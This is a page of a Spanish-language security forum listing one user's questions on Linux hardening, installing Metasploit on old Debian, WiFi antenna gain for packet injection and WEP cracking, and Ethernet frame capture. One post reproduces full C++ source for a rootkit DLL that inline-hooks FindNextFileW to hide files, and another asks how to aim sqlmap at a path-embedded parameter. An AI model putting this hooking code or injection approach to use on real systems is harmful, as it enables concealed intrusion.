Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Schaiden

#61
Muy buenas! Estaba aprendiendo algunas cosas sobre hardening en linux y me gustaría saber para ustedes cuál es el mejor linux teniendo la seguridad como criterio principal, para utilizar como servidor (por ejemplo un servidor web). Se que lo más importante son las herramientas, reglas, políticas y configuraciones que cada uno haga, pero seguramente puedan recomendar alguna distro por X motivo... Por ejemplo esta mañana descargué Fedora y noté que ya viene con SELinux habilitado por defecto. Me gustaría tener un sistema Linux, cómodo, seguro, que tenga snort o algún buen NIDS, que tenga SELinux, iptables/netfilter.
#62
Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio:

https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/

Es la siguiente:

Código (c++) [Seleccionar]
#include "StdAfx.h"
#include <windows.h>
#include <iostream>
#include <cstdlib>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "S7K";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);

// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
// Libermos librerias de cache
       FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}


Cuando quiero compilarla, el compilador devuelve el error:

undefined reference to `WinMain@16'

Build log:
CitarD:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()':
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null]
mingw32-g++.exe  -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o"  
c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16'
collect2.exe: error: ld returned 1 exit status
Process terminated with status 1 (0 minute(s), 0 second(s))
1 error(s), 1 warning(s) (0 minute(s), 0 second(s))

Imagen:


Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!
#63
Buenas! Muchas gracias. Al final esa parte del problema la resolví agregando manualmente al usuario/grupo lpadmin en /etc/passwd, /etc/group y /etc/shadow. Luego los 2 paquetes se pudieron instalar satisfactoriamente... Luego quise instalar otras cosas necesarias, empezando x build-essential por ejemplo, y ahí si tenía otros errores de dependencias pero ahora estoy utilizando aptitude en lugar de apt-get y me parece que ahora si voy a poder instalar todo lo que necesito. Si surge algo actualizo éste mensaje. Saludos y gracias nuevamente
#64
Que tal! Resulta que quería instalar metasploit en mi Debian 4.

Código (bash) [Seleccionar]
cat /etc/issue
Debian GNU/Linux 4.0 \n \l

uname -r
2.6.18-6-486


Estaba siguiendo los pasos de éste enlace: https://fity666.wordpress.com/about/
que decía:

CitarLo primero sera instalar las dependencias de ruby las cuales son esenciales para su instalación

sudo apt-get install ruby libruby rdoc
sudo apt-get install libyaml-ruby
sudo apt-get install libzlib-ruby
sudo apt-get install libopenssl-ruby
sudo apt-get install libdl-ruby
sudo apt-get install libreadline-ruby
sudo apt-get install libiconv-ruby
sudo apt-get install rubygems *

apt-get install libgtk2-ruby libglade2-ruby

El paso siguiente es descargar metasploit desde su sitio oficial

http://www.metasploit.com/framework/download/

Cuanto empiezo por el primer comando:

Citarapt-get install ruby libruby rdoc

Obtengo ésta salida:

Citarapt-get install ruby libruby rdoc
Reading package lists...
Building dependency tree...
Reading state information...
ruby is already the newest version.
libruby is already the newest version.
rdoc is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
2 not fully installed or removed.
After this operation, 0B of additional disk space will be used.
Setting up cupsys-client (1.2.7-4+etch9) ...
Adding group `lpadmin' (GID 110) ...
groupadd: unable to lock group file
addgroup: `/usr/sbin/groupadd -g 110 lpadmin' returned error code 10. Exiting.
dpkg: error processing cupsys-client (--configure):
subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of cupsys-bsd:
cupsys-bsd depends on cupsys-client (= 1.2.7-4+etch9); however:
  Package cupsys-client is not configured yet.
dpkg: error processing cupsys-bsd (--configure):
dependency problems - leaving unconfigured
Errors were encountered while processing:
cupsys-client
cupsys-bsd
E: Sub-process /usr/bin/dpkg returned an error code (1)

Como ven, los paquetes de ruby que necesito para instalar metasploit no se pudieron instalar como corresponde. Tengo muchos problemas con el apt-get. Mi sources.list contiene lo siguiente:

Citardeb http://ftp.de.debian.org/debian-archive/debian/ etch main
deb-src http://ftp.de.debian.org/debian-archive/debian/ etch main

Ya hice un apt-get update, y luego probé también apt-get upgrade y aquí obtengo problemas parecidos al que compartí aquí arriba...

Me gustaría que me dieran alguna idea para resolver mi problema. Si necesitan algo más de información, avisenme. Saludos y gracias!

#65
Que tal, tenía un problema pero ya lo resolví y quería eliminar la pregunta pero no encuentro la forma de hacerlo. Gracias
#66
Miren como funciona éste buscador:

http://www.ejemplo.com//SEARCHED/ST=mi_busqueda/gbpws.aspx

Fijense donde resalté mi_busqueda, aquí está el valor del parametro que utiliza el buscador de éste sitio web de ejemplo. Hay varias cosas que no enteindo en ésta url, entre ello no entiendo por que hay dos barras '//' entre el .com y el SEARCHED. SEARCHED lo interpreto como un directorio dentro de la web, pero entre las dos '//', se me viene algo a la mente como un directorio fantasma, sin nombre, pero no entiendo como puede ser posible. Después, no entiendo que sería 'ST', lo lógico sería que fuera el nombre del parámetro, pero no entiendo por que está antes del archivo .aspx que sería el archivo de la página en si. Lo normal, y lo que veo dia a dia en todas las webs es que los parámetros estén después del nombre de la página seguido a un signo de interrogación '?'

Por ejemplo, yo estoy acostumbrado a que la página sea de éste modo:

http://www.ejemplo.com/SEARCHED/gbpws.aspx?ST=mi_busqueda

Me gustaría que me ayudaran a entender la naturaleza de este enlace y también saber como se podría inyectar a través de sqlmap a un parámetro como éste, ya que la opción -p ST no funciona en éste caso.

Saludos y gracias!
#67
Redes / Re: Trama ethernet
28 Mayo 2017, 02:39 AM
Creo que te entiendo! Es decir, el adaptador de red usa los bytes del preámbulo para identificar una nueva trama y el CRC para verificar que la trama sea válida, pero una vez identificado el inicio de la trama y verificado que dicha trama sea válida, no tiene ninguna necesidad de enviárselos al kernel, ya que éste trabajo es realizado por el adaptador y no por el kernel, entonces la aplicacion, el sniffer, como vos decis, que sería el espacio de usuario, cuando hace las system calls correspondientes, obtiene lo que le llego al kernel, ni más ni menos, x eso es que desde wireshark no se pueden visualizar dichos campos
#68
Muchas gracias Sh4k4 por tu tiempo y tus explicaciones! :D
Quiero estar seguro de haberte entendido (descartemos todo tipo de factores como ser chipset, drivers, condiciones climáticas, obstáculos, otros dispositivos transmitiendo en la misma frecuencia, largo de cable, etc, y supongamos que todas las antenas son omnidireccionales):
Cuanta más potencia tenga más fuerte puedo hablar y cuanto más ganancia tenga mejor puedo escuchar.
Si un AP escucha poco pero yo tengo buena potencia, sus oidos pobres igual me van a escuchar, xq voy a estar hablando lo suficientemente fuerte como para que me escuche, y si un AP habla despacio pero yo tengo mucha ganancia lo podría llegar a escuchar igual porque tengo muy buenos oidos. Entonces para poder tener una buena comunicación debería tener buena potencia y buena ganancia, que sean equitativas entre si.

Si lo que digo es correcto, y entendí bien entonces puedo llegar a suponer que si tengo más ganancia podría llegar a detectar redes más lejanas, no hablo de poder comunicarme adecuadamente con esas redes, solo verlas, saber que estan, escucharlas, o recibir los beacon frames del AP, como lo queramos llamar... Y si tengo una buena potencia, voy a tener por ejemplo una buena inyección de paquetes, ya que estaría hablando fuerte (TOMA ESTE PAQUETE), y el AP seguramente me escuche aunque no tenga el mejor de los oidos... Despues (tomemos el ejemplo de crackear una WEP), si tengo por ejemplo buena potencia pero mala ganancia, los paquetes que inyecto, le llegarían bien al AP pero no estaría recibiendo correctamente los paqutes de respuesta con los ivs que necesito, a menos que el AP tenga muy buena potencia.

Espero haber entendido, obviamente mi interpretación puede estar errada, asi que me gustaría leer tu respuesta.

Gracias nuevamente por tu tiempo y ayuda! :D
#69
Qué tal! Ésta es una duda que tengo desde hace mucho. Se que la potencia es adherente al adaptador y la ganancia a la antena... Pero quiero saber que es exactamente lo que cambiaría al tener un adaptador con más potencia y/o una antena con más ganancia. Cuanto mayor es el número de ambas medidas, mayor sería la distancia máxima de las señales que puedo escuchar?

Y si por ejemplo tengo:
Un adaptador de 500mW y una antena de 18dBi
o
Un adaptador de 1000mW y una antena de 5dBi

estaría teniendo algo equivalente?

P.D: ya se que existen antenas direccionales y omnidireccionales, y que las direccionales intensifican la señal en una dirección especifica, y las omnidireccionales la distribuyen equitativamente en todas las direcciones.

Gracias por ayudarme a aclarar las dudas. Saludos!
#70
Redes / Capturar trama ethernet completa
25 Mayo 2017, 10:05 AM
Que tal, estuve capturando los paquetes que entran y salen de mi pc, y noté que en la sección de la trama ethernet solo figuran la MAC destino, origen y el ethertype, pero nunca veo el preámbulo, ni el CRC que según leí también forman parte de una trama ethernet. Quería saber por qué no me llegan dichos campos. Saludos